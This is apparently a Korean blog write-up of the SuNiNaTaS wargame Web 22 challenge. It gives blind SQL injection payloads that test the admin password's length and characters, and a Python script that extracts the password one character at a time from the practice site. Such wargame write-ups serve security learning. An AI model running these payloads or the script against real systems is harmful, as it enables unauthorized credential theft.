본문 바로가기

해킹-보안

SuNiNaTaS WEB 22번 풀이 - Blind Sql Injection

반응형

http://suninatas.com/challenge/web22/web22.asp


필터링 문자를 우회하여 admin 계정의 비밀번호를 알아내야 한다.
테스트 계정으로 guest/guest가 존재하며 비밀번호 컬럼 명은 pw이다.


로그인 반응


로그인 실패 - False
로그인 성공 - OK admin 혹은 OK guest
필터링 탐지 - No hack

비밀번호 길이 확인

 admin' and len(pw)=1 --
 admin' and len(pw)=2 --
 -- ... 중략
 admin' and len(pw)=10 --

비밀번호 확인

 admin' and substring(pw,1,1)= 'a'--
 admin' and substring(pw,1,1)= 'b'--
 admin' and substring(pw,2,1)= 'a'--
 -- ... 중z략
 admin' and substring(pw,10,1)= 'a'--

자동화 스크립트

 # python 3.8
 import urllib.request
 import urllib.parse
 
 # 쿠키 값
 cookies={'ASP.NET_SessionId': 'v1ctxgltlleps5ajeakv1kx2'}
 
 # password 길이
 password_len = 10
 
 # 비밀번호 저장
 real_pw = ''
 
 # 레코드 
 for j in range(1,password_len+1):
         for i in range(32,127):
                 url = "http://suninatas.com/challenge/web22/web22.asp?id="
                 inject = "admin' and substring(pw," + str(j) + ",1)= '" + chr(i) + "'--"
 
                 url = url + urllib.parse.quote(inject) + "&pw=123"
                 req = urllib.request.Request(url)
                 req.add_header('cookie',"ASP.NET_SessionId:v1ctxgltlleps5ajeakv1kx2")
                 f = urllib.request.urlopen(req)
                 resp = f.read().decode("utf-8")
 
                 if resp.find("OK") != -1:
                     print ("find: " + chr(i) )
                     real_pw += chr(i)
                     break
                 
 print ("real_password: " + real_pw )
flag - N1c3Bilnl)



반응형